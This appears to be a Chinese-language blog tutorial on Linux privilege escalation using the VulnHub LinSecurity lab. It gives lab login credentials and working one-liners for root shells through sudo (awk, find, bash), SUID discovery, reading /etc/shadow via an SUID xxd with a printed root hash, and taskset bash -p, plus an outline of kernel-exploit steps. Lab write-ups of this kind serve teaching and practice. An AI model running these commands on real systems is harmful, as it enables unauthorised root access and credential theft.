码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • linux提权


    目录

    一、linux提权靶场下载与安装

    二、基础提权 

     1.sudo提权

     2.suid提权

    3.taskset执行bash 

    三、内核提权 


    相关网站

    1. https://gtfobins.github.io/#+sudo
    2. https://blog.csdn.net/weixin_43873557/article/details/113784146

    一、linux提权靶场下载与安装

    1. #下载链接
    2. https://www.vulnhub.com/entry/linsecurity-1,244/
    3. 用户名密码:bob/secret
    4. #安装与配置
    5. 1.修改默认键盘布局[默认不是美式键盘]
    6. sudo awk 'BEGIN {system("/bin/sh")}'
    7. [修改前\"符号是shift+2]
    8. vim /etc/default/keyboard
    9. [讲XKBLAYOUT改的值为us]
    10. setupcon
    11. 2.配置网卡[Ubuntu 18通过netplan设置网络]
    12. vim /etc/netplan/50-cloud-init.yaml
    13. [将enp0s3改为ens33]
    14. netplan apply

    二、基础提权 

     1.sudo提权

    sudo权限是root把本来只能超级用户执行的命令赋予普通用户执行

    1. 1. sudo /bin/ash
    2. 2. sudo find . -exec /bin/sh \;-quit
    3. 3. sudo /bin/bash
    sudo -i

     2.suid提权

    suid简介:SUID这个是uid +s的组合,s指的是特殊权限。一般情况下,用户的权限是3位,比如0755这样的,特殊权限默认没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有root的权限,就会配置特殊权限

    使用find命令快速查找所有suid文件

    find / -user root -perm -4000 -print 2>/dev/null
    

    xxd访问/etc/shadow

    -rwsr-x--- 1 root itservices 18552 Apr 10  2018 /usr/bin/xxd
    

     itservices组具有执行权限,通过/etc/group发现susan用户属于itservices用户组,利用4.隐藏文件发现的密码登录susan用户,进行提权

    cd home/susan
    
    1. susan@linsecurity:/home/bob$ xxd "/etc/shadow" |xxd -r
    2. root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
    3. daemon:*:17647:0:99999:7:::
    4. bin:*:17647:0:99999:7:::
    5. sys:*:17647:0:99999:7:::
    6. sync:*:17647:0:99999:7:::
    7. games:*:17647:0:99999:7:::

    3.taskset执行bash 

    taskset 是一个用于将进程绑定到特定的CPU核心上的命令

    taskset 1 /bin/bash -p

    三、内核提权 

    将linux内核提权速查脚本移到Linux系统中

    查询该文件

     

    进行解压缩 

     

    进入解压后的文件,并执行里面的后缀为.sh的文件

     成功后就可以查看推荐的漏洞

     将推荐的漏洞下载到本地,复制到Linux系统中,进行解压缩

    进入解压后的文件

     存在makefile,进行编译make

     查看编译后的文件,发现新增,进行执行该文件

     运行文件,不能成功,则换其他漏洞

     

  • 相关阅读:
    算法题练习——NC15 求二叉树的层序遍历、NC88 寻找第K大
    Redis 要凉了?
    actuator--基础--07--自定义Endpoint
    OpenCV实现Photoshop曲线调整
    搭建zerotier planet服务
    三面阿里!30W字Java面试笔记助我成功斩获阿里P7Offer:细节拉满
    Android 设置默认应用
    系统移植 DAY4(FSMP1A开发板开发阶段部署)
    全媒体整合营销时代,如何做好网络营销?
    入门力扣自学笔记198 C++ (题目编号:1704)
  • 原文地址:https://blog.csdn.net/NSQ0207/article/details/132739508
  • 最新文章
  • 【FHE】我们如何实现同态加密推理(八):SiLU 的密文化——两条路径,和一个 8 字节的开关
    SQLcl 中 c/old/new 替换变量为何失效?先定位再替换
    不让模型写作文,直接从它脑子里读答案:Jev 决策在 .NET 的两条路线
    Halo插件:支持GitHub的图床附件策略
    电视投屏界的“一股清流”!SimpleTVCast 6.0.0-beta 抢先体验:无需TV端App,界面大换血!✨
    华三VXLAN集中式网关实战指南:Spine多活网关 + 双活接入(M-LAG)
    软件更好写之后口碑会更重要
    大 O、大 Omega、大 Theta 的区别,O(n) 复杂度是什么意思
    Java标签跳转:一个鲜为人知但却很实用的小技巧
    多智能体系统论文速读
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号